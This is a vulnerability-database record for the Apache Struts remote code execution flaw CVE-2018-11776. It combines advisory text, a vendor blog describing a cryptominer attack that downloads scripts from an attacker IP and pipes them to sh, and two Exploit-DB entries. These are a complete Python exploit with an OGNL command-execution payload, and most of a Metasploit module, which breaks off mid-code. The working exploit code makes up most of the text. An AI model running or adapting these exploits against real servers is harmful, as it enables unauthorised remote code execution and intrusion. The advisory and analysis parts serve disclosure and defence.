Unserialize vulnerability in Joomla! using the JDatabaseDriverMysqli object. The backdoor uploaded payload is hosted on [ICG-AuthExploiterBot](<https://github.com/04x/ICG-AutoExploiterBoT>).\n\nWe\u2019ve also seen a recurring payload that turned out to be a Coinbitminer infection attempt, more details on that are in the appendix -- note, the appendix is only meant as an example. Since Python is so widely used by hackers, there is a host of different attack vectors to take into consideration. Python requires minimal coding skills, making it easy to write a script and exploit a vulnerability.\n\n### **Our recommendation**\n\nUnless you can differentiate between requests from Python-based tools and any other tool, our recommendations stay the same - make sure to keep security in mind when developing, keep your system up to date with patches, and refrain from any practice that is considered insecure.\n\n## Appendix - Example of an Attack \n\n### Here\u2019s an interesting, recurring payload we\u2019ve observed (with a small variance at the end):\n\n \nAfter base64 decoding it, we get a binary payload: \n \nIn the above payload, there is a mention of a GitHub repository for a deserialization exploitation tool and a wget command download in a jpg file, which strongly suggests there is malicious activity. After downloading the file from http://45.227.252.250/jre.jpg we can see that it\u2019s actually a script containing the following: \n \nThe two last lines in the script try to get http://45.227.252.250/static/font.jpg%7Csh, which is identified as Trojan. Coinbitminer by Symantec Endpoint Protection. \n \nThis finding relates to [a tweet from the end of August](<https://twitter.com/ryancbarnett/status/1033110659259662338>) 2018, talking about a new Apache Struts vulnerability CVE-2018-11776 used to infect with the same Coinbitminer. \n**While you're here, also read: [Imperva Python SDK \u2013 We\u2019re All Consenting SecOps Here](<https://www.imperva.com/blog/2018/05/imperva-python-sdk-were-all-consenting-secops-here/>)**\n\nThe post [The World's Most Popular Coding Language Happens to be Most Hackers' Weapon of Choice](<https://www.imperva.com/blog/the-worlds-most-popular-coding-language-happens-to-be-most-hackers-weapon-of-choice/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-09-26T16:18:36", "type": "impervablog", "title": "The World\u2019s Most Popular Coding Language Happens to be Most Hackers\u2019 Weapon of Choice", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-8562", "CVE-2017-9841", "CVE-2018-1000207", "CVE-2018-11776"], "modified": "2018-09-26T16:18:36", "id": "IMPERVABLOG:F2DBFC086ED3B70700CD22E02FB39FC8", "href": "https://www.imperva.com/blog/the-worlds-most-popular-coding-language-happens-to-be-most-hackers-weapon-of-choice/", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2023-12-01T14:36:38", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn't have value and action set and in same time, its upper package have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T13:29:00", "type": "cve", "title": "CVE-2018-11776", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-11-07T02:51:00", "cpe": ["cpe:/a:apache:struts:2.5.16", "cpe:/a:apache:struts:2.3.34"], "id": "CVE-2018-11776", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:apache:struts:2.3.34:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.16:*:*:*:*:*:*:*"]}], "cisa_kev": [{"lastseen": "2023-12-01T16:21:07", "description": "Apache Struts contains a vulnerability that allows for remote code execution under two circumstances. One, where the alwaysSelectFullNamespace option is true and the value isn't set for a result defined in underlying configurations and in same time, its upper package configuration have no or wildcard namespace. Or, using URL tag which doesn\ufffdt have value and action set and in same time, its upper package configuration have no or wildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "Apache Struts Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2018-11776", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "trendmicroblog": [{"lastseen": "2019-01-03T16:25:04", "description": "\n\n### **A Changing Landscape**\n\nIn recent years we\u2019ve seen a fundamental shift in the IT landscape, accelerated towards cloud and containerized infrastructures. According to Forbes, by 2020 it is predicted that 83 percent of enterprise workloads will be in the cloud. Moving beyond the cloud, software development teams are driving further change with the adoption of microservice architectures and containers, a market poised to grow over 40 percent year over year. The adoption of these new technologies signals a major change in IT infrastructures for modern enterprises. However, this transition is not always seamless, and it can be difficult to refactor legacy applications for a new technology stack. As a result, teams are building and deploying applications across a variety of environments, including physical machines, virtual machines, containers, and cloud infrastructures. While these new technologies offer great benefits in terms of agility, scalability, and continuous integration (CI)/continuous delivery (CD), they also add a layer of complexity to security that can expose the organization to vulnerabilities and threats. Overall, the combination of new application technology with existing legacy architectures and deployment models leads to greater IT complexity, making it extremely difficult to achieve consistent security across the organization.\n\n### **A Growing Threat to Servers**\n\nEnterprise security has traditionally been thought of as primarily an endpoint issue, however, the modernization of the IT landscape is resulting in attacks from all directions. Servers have become an important target for cybercrime, with more than 145 million U.S. citizens having their data compromised by the Equifax server breach. In recent years, we\u2019ve seen a number of high-profile server-targeted vulnerabilities. For example, the Equifax attack leveraged a server-side vulnerability in the Apache Struts web application framework, and Heartbleed directly targeted servers to reveal private data.\n\nServers are the workhorses of the IT environment, and server workloads have fundamentally different security requirements from traditional endpoint protection. As threats increase in sophistication, there is no single miracle fix to server protection. Rather, it requires multiple techniques through a layered security approach. Security and risk managers should utilize offerings dedicated to cloud workload protection, or cloud workload protection platforms (CWPP). As stated in Gartner\u2019s 2018 Market Guide, \u201cThe market for cloud workload protection platforms (CWPPs) is defined by offerings specifically designed for server workload-centric security protection and are typically agent-based for deep workload visibility and attack prevention capabilities.\u201d*** **\n\n### **Market-Leading Performance**\n\nAdditionally, Trend Micro believes that the Deep Security platform meets many capabilities and architectural considerations listed in Gartner\u2019s Market Guide for Cloud Workload Protection Platforms.\n\nDeep Security offers recommendations through the following:\n\n| \n\n * Seamless integration with leading environments, including AWS, Azure\u00ae, and VMware\u00ae\n * Complete visibility and protection of workloads\n * Automatic discovery and deployment of security controls\n * Security integrated with your DevOps team\u2019s toolsets\n * Support for microservices architectures and Docker\u00ae container protection \n---|--- \n| \n \nThis is all done with minimal impact on performance, allowing companies to maintain their agility without sacrificing security. [Learn more](<https://www.trendmicro.com/en_us/business/products/hybrid-cloud.html>) about our Hybrid Cloud Security solutions, and [contact us](<https://www.trendmicro.com/en_us/business/get-info-form.html>) to discover what makes Trend Micro the number one provider of corporate server security.\n\n##### _Sources:_\n\n##### _*Gartner, \u201cMarket Guide for Cloud Workload Protection Platforms\u201d, Neil MacDonald, 26 March 2018 G00328483. _\n\n##### _451 Research\u2019s Market Monitor: Cloud Enabling Technologies, Q3 2016_\n\n##### _Trend Micro, \u201cCritical Remote Code Execution Vulnerability (CVE-2018-11776) Found in Apache Struts\u201d_\n\n##### _<https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/critical-remote-code-execution-vulnerability-cve-2018-11776-found-in-apache-struts>_\n\nThe post [Server Security for the Modern IT Ecosystem](<https://blog.trendmicro.com/server-security-for-the-modern-it-ecosystem/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2019-01-03T15:30:46", "type": "trendmicroblog", "title": "Server Security for the Modern IT Ecosystem", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2019-01-03T15:30:46", "id": "TRENDMICROBLOG:F79486D4EB7A8032A33EF8200A559E62", "href": "https://blog.trendmicro.com/server-security-for-the-modern-it-ecosystem/", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2023-12-01T15:52:22", "description": "", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-26T00:00:00", "type": "exploitdb", "title": "Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2018-11776", "CVE-2018-11776"], "modified": "2018-08-26T00:00:00", "id": "EDB-ID:45260", "href": "https://www.exploit-db.com/exploits/45260", "sourceData": "#!/usr/bin/env python3\r\n# coding=utf-8\r\n# *****************************************************\r\n# struts-pwn: Apache Struts CVE-2018-11776 Exploit\r\n# Author:\r\n# Mazin Ahmed <Mazin AT MazinAhmed DOT net>\r\n# This code uses a payload from:\r\n# https://github.com/jas502n/St2-057\r\n# *****************************************************\r\n\r\nimport argparse\r\nimport random\r\nimport requests\r\nimport sys\r\ntry:\r\n from urllib import parse as urlparse\r\nexcept ImportError:\r\n import urlparse\r\n\r\n# Disable SSL warnings\r\ntry:\r\n import requests.packages.urllib3\r\n requests.packages.urllib3.disable_warnings()\r\nexcept Exception:\r\n pass\r\n\r\nif len(sys.argv) <= 1:\r\n print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')\r\n print('[*] Struts-PWN - @mazen160')\r\n print('\\n%s -h for help.' % (sys.argv[0]))\r\n exit(0)\r\n\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"-u\", \"--url\",\r\n dest=\"url\",\r\n help=\"Check a single URL.\",\r\n action='store')\r\nparser.add_argument(\"-l\", \"--list\",\r\n dest=\"usedlist\",\r\n help=\"Check a list of URLs.\",\r\n action='store')\r\nparser.add_argument(\"-c\", \"--cmd\",\r\n dest=\"cmd\",\r\n help=\"Command to execute. (Default: 'id')\",\r\n action='store',\r\n default='id')\r\nparser.add_argument(\"--exploit\",\r\n dest=\"do_exploit\",\r\n help=\"Exploit.\",\r\n action='store_true')\r\n\r\n\r\nargs = parser.parse_args()\r\nurl = args.url if args.url else None\r\nusedlist = args.usedlist if args.usedlist else None\r\ncmd = args.cmd if args.cmd else None\r\ndo_exploit = args.do_exploit if args.do_exploit else None\r\n\r\nheaders = {\r\n 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',\r\n # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',\r\n 'Accept': '*/*'\r\n}\r\ntimeout = 3\r\n\r\n\r\ndef parse_url(url):\r\n \"\"\"\r\n Parses the URL.\r\n \"\"\"\r\n\r\n # url: http://example.com/demo/struts2-showcase/index.action\r\n\r\n url = url.replace('#', '%23')\r\n url = url.replace(' ', '%20')\r\n\r\n if ('://' not in url):\r\n url = str(\"http://\") + str(url)\r\n scheme = urlparse.urlparse(url).scheme\r\n\r\n # Site: http://example.com\r\n site = scheme + '://' + urlparse.urlparse(url).netloc\r\n\r\n # FilePath: /demo/struts2-showcase/index.action\r\n file_path = urlparse.urlparse(url).path\r\n if (file_path == ''):\r\n file_path = '/'\r\n\r\n # Filename: index.action\r\n try:\r\n filename = url.split('/')[-1]\r\n except IndexError:\r\n filename = ''\r\n\r\n # File Dir: /demo/struts2-showcase/\r\n file_dir = file_path.rstrip(filename)\r\n if (file_dir == ''):\r\n file_dir = '/'\r\n\r\n return({\"site\": site,\r\n \"file_dir\": file_dir,\r\n \"filename\": filename})\r\n\r\n\r\ndef build_injection_inputs(url):\r\n \"\"\"\r\n Builds injection inputs for the check.\r\n \"\"\"\r\n\r\n parsed_url = parse_url(url)\r\n injection_inputs = []\r\n url_directories = parsed_url[\"file_dir\"].split(\"/\")\r\n\r\n try:\r\n url_directories.remove(\"\")\r\n except ValueError:\r\n pass\r\n\r\n for i in range(len(url_directories)):\r\n injection_entry = \"/\".join(url_directories[:i])\r\n\r\n if not injection_entry.startswith(\"/\"):\r\n injection_entry = \"/%s\" % (injection_entry)\r\n\r\n if not injection_entry.endswith(\"/\"):\r\n injection_entry = \"%s/\" % (injection_entry)\r\n\r\n injection_entry += \"{{INJECTION_POINT}}/\" # It will be renderred later with the payload.\r\n injection_entry += parsed_url[\"filename\"]\r\n\r\n injection_inputs.append(injection_entry)\r\n\r\n return(injection_inputs)\r\n\r\n\r\ndef check(url):\r\n random_value = int(''.join(random.choice('0123456789') for i in range(2)))\r\n multiplication_value = random_value * random_value\r\n injection_points = build_injection_inputs(url)\r\n parsed_url = parse_url(url)\r\n print(\"[%] Checking for CVE-2018-11776\")\r\n print(\"[*] URL: %s\" % (url))\r\n print(\"[*] Total of Attempts: (%s)\" % (len(injection_points)))\r\n attempts_counter = 0\r\n\r\n for injection_point in injection_points:\r\n attempts_counter += 1\r\n print(\"[%s/%s]\" % (attempts_counter, len(injection_points)))\r\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\r\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", \"${{%s*%s}}\" % (random_value, random_value))\r\n try:\r\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\r\n except Exception as e:\r\n print(\"EXCEPTION::::--> \" + str(e))\r\n continue\r\n if \"Location\" in resp.headers.keys():\r\n if str(multiplication_value) in resp.headers['Location']:\r\n print(\"[*] Status: Vulnerable!\")\r\n return(injection_point)\r\n print(\"[*] Status: Not Affected.\")\r\n return(None)\r\n\r\n\r\ndef exploit(url, cmd):\r\n parsed_url = parse_url(url)\r\n\r\n injection_point = check(url)\r\n if injection_point is None:\r\n print(\"[%] Target is not vulnerable.\")\r\n return(0)\r\n print(\"[%] Exploiting...\")\r\n\r\n payload = \"\"\"%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D\"\"\".format(cmd)\r\n\r\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\r\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", payload)\r\n\r\n try:\r\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\r\n except Exception as e:\r\n print(\"EXCEPTION::::--> \" + str(e))\r\n return(1)\r\n\r\n print(\"[%] Response:\")\r\n print(resp.text)\r\n return(0)\r\n\r\n\r\ndef main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):\r\n if url:\r\n if not do_exploit:\r\n check(url)\r\n else:\r\n exploit(url, cmd)\r\n\r\n if usedlist:\r\n URLs_List = []\r\n try:\r\n f_file = open(str(usedlist), \"r\")\r\n URLs_List = f_file.read().replace(\"\\r\", \"\").split(\"\\n\")\r\n try:\r\n URLs_List.remove(\"\")\r\n except ValueError:\r\n pass\r\n f_file.close()\r\n except Exception as e:\r\n print(\"Error: There was an error in reading list file.\")\r\n print(\"Exception: \" + str(e))\r\n exit(1)\r\n for url in URLs_List:\r\n if not do_exploit:\r\n check(url)\r\n else:\r\n exploit(url, cmd)\r\n\r\n print(\"[%] Done.\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)\r\n except KeyboardInterrupt:\r\n print(\"\\nKeyboardInterrupt Detected.\")\r\n print(\"Exiting...\")\r\n exit(0)", "sourceHref": "https://www.exploit-db.com/raw/45260", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-01T15:52:08", "description": "", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-10T00:00:00", "type": "exploitdb", "title": "Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2018-11776", "CVE-2018-11776"], "modified": "2018-09-10T00:00:00", "id": "EDB-ID:45367", "href": "https://www.exploit-db.com/exploits/45367", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n include Msf::Exploit::EXE\r\n\r\n # Eschewing CmdStager for now, since the use of '\\' and ';' are killing me\r\n #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',\r\n 'Description' => %q{\r\n This module exploits a remote code execution vulnerability in Apache Struts\r\n version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed\r\n via an endpoint that makes use of a redirect action.\r\n\r\n Native payloads will be converted to executables and dropped in the\r\n server's temp dir. If this fails, try a cmd/* payload, which won't\r\n have to write to the disk.\r\n },\r\n #TODO: Is that second paragraph above still accurate?\r\n 'Author' => [\r\n 'Man Yue Mo', # Discovery\r\n 'hook-s3c', # PoC\r\n 'asoto-r7', # Metasploit module\r\n 'wvu' # Metasploit module\r\n ],\r\n 'References' => [\r\n ['CVE', '2018-11776'],\r\n ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],\r\n ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],\r\n ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],\r\n ],\r\n 'Privileged' => false,\r\n 'Targets' => [\r\n [\r\n 'Automatic detection', {\r\n 'Platform' => %w{ unix windows linux },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n },\r\n ],\r\n [\r\n 'Windows', {\r\n 'Platform' => %w{ windows },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n },\r\n ],\r\n [\r\n 'Linux', {\r\n 'Platform' => %w{ unix linux },\r\n 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],\r\n 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}\r\n },\r\n ],\r\n ],\r\n 'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018\r\n 'DefaultTarget' => 0))\r\n\r\n register_options(\r\n [\r\n Opt::RPORT(8080),\r\n OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),\r\n OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),\r\n OptString.new('ENABLE_STATIC', [ true, 'Enable \"allowStaticMethodAccess\" before executing OGNL', true ]),\r\n ]\r\n )\r\n register_advanced_options(\r\n [\r\n OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),\r\n OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', \"X-#{rand_text_alpha(4)}\"] ),\r\n OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', \"#{rand_text_alpha(8)}\"] ),\r\n ]\r\n )\r\n end\r\n\r\n def check\r\n # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable\r\n ognl = \"#_memberAccess['allowStaticMethodAccess']\"\r\n\r\n resp = send_struts_request(ognl)\r\n\r\n # If vulnerable, the server should return an HTTP 302 (Redirect)\r\n # and the 'Location' header should contain either 'true' or 'false'\r\n if resp && resp.headers['Location']\r\n output = resp.headers['Location']\r\n vprint_status(\"Redirected to: #{output}\")\r\n if (output.include? '/true/')\r\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\r\n datastore['ENABLE_STATIC'] = false\r\n CheckCode::Vulnerable\r\n elsif (output.include? '/false/')\r\n print_status(\"Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'\")\r\n datastore['ENABLE_STATIC'] = true\r\n CheckCode::Vulnerable\r\n else\r\n CheckCode::Safe\r\n end\r\n elsif resp && resp.code==400\r\n # METHOD 2: Generate two random numbers, ask the target to add them together.\r\n # If it does, it's vulnerable.\r\n a = rand(10000)\r\n b = rand(10000)\r\n c = a+b\r\n\r\n ognl = \"#{a}+#{b}\"\r\n\r\n resp = send_struts_request(ognl)\r\n\r\n if resp.headers['Location'].include? c.to_s\r\n vprint_status(\"Redirected to: #{resp.headers['Location']}\")\r\n print_status(\"Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'\")\r\n datastore['ENABLE_STATIC'] = false\r\n CheckCode::Vulnerable\r\n else\r\n CheckCode::Safe\r\n end\r\n end\r\n end\r\n\r\n def exploit\r\n case payload.arch.first\r\n when ARCH_CMD\r\n resp = execute_command(payload.encoded)\r\n else\r\n resp = send_payload()\r\n end\r\n end\r\n\r\n def encode_ognl(ognl)\r\n # Check and fail if the command contains the follow bad characters:\r\n # ';' seems to terminates the OGNL statement\r\n # '/' causes the target to return an HTTP/400 error\r\n # '\\' causes the target to return an HTTP/400 error (sometimes?)\r\n # '\\r' ends the GET request prematurely\r\n # '\\n' ends the GET request prematurely\r\n\r\n # TODO: Make sure the following line is uncommented\r\n bad_chars = %w[; \\\\ \\r \\n] # and maybe '/'\r\n bad_chars.each do |c|\r\n if ognl.include? c\r\n print_error(\"Bad OGNL request: #{ognl}\")\r\n fail_with(Failure::BadConfig, \"OGNL request cannot contain a '#{c}'\")\r\n end\r\n end\r\n\r\n # The following list of characters *must* be encoded or ORNL will asplode\r\n encodable_chars = { \"%\": \"%25\", # Always do this one first. :-)\r\n \" \": \"%20\",\r\n \"\\\"\":\"%22\",\r\n \"#\": \"%23\",\r\n \"'\": \"%27\",\r\n \"<\": \"%3c\",\r\n \">\": \"%3e\",\r\n \"?\": \"%3f\",\r\n \"^\": \"%5e\",\r\n \"`\": \"%60\",\r\n \"{\": \"%7b\",\r\n \"|\": \"%7c\",\r\n \"}\": \"%7d\",\r\n #\"\\/\":\"%2f\", # Don't do this. Just leave it front-slashes in as normal.\r\n #\";\": \"%3b\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n #\"\\\\\":\"%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n #\"\\\\\":\"%5c%5c\", # Doesn't work. Anyone have a cool idea for a workaround?\r\n }\r\n\r\n encodable_chars.each do |k,v|\r\n #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)\r\n ognl.gsub!(\"#{k}\",\"#{v}\")\r\n end\r\n return ognl\r\n end\r\n\r\n def send_struts_request(ognl, payload: nil)\r\n=begin #badchar-checking code\r\n pre = ognl\r\n=end\r\n\r\n ognl = \"${#{ognl}}\"\r\n vprint_status(\"Submitted OGNL: #{ognl}\")\r\n ognl = encode_ognl(ognl)\r\n\r\n headers = {'Keep-Alive': 'timeout=5, max=1000'}\r\n\r\n if payload\r\n vprint_status(\"Embedding payload of #{payload.length} bytes\")\r\n headers[datastore['HEADER']] = payload\r\n end\r\n\r\n # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs\r\n uri = \"/#{ognl}/#{datastore['ACTION']}\"\r\n\r\n resp = send_request_cgi(\r\n #'encode' => true, # this fails to encode '\\', which is a problem for me\r\n 'uri' => uri,\r\n 'method' => datastore['HTTPMethod'],\r\n 'headers' => headers\r\n )\r\n\r\n if resp && resp.code == 404\r\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\")\r\n end\r\n\r\n=begin #badchar-checking code\r\n print_status(\"Response code: #{resp.code}\")\r\n #print_status(\"Response recv: BODY '#{resp.body}'\") if resp.body\r\n if resp.headers['Location']\r\n print_status(\"Response recv: LOC: #{resp.headers['Location'].split('/')[1]}\")\r\n if resp.headers['Location'].split('/')[1] == pre[1..-2]\r\n print_good(\"GOT 'EM!\")\r\n else\r\n print_error(\" #{pre[1..-2]}\")\r\n end\r\n end\r\n=end\r\n\r\n resp\r\n end\r\n\r\n def profile_target\r\n # Use OGNL to extract properties from the Java environment\r\n\r\n properties = { 'os.name': nil, # e.g. 'Linux'\r\n 'os.arch': nil, # e.g. 'amd64'\r\n 'os.version': nil, # e.g. '4.4.0-112-generic'\r\n 'user.name': nil, # e.g. 'root'\r\n #'user.home': nil, # e.g. '/root' (didn't work in testing)\r\n 'user.language': nil, # e.g. 'en'\r\n #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\r\n }\r\n\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << 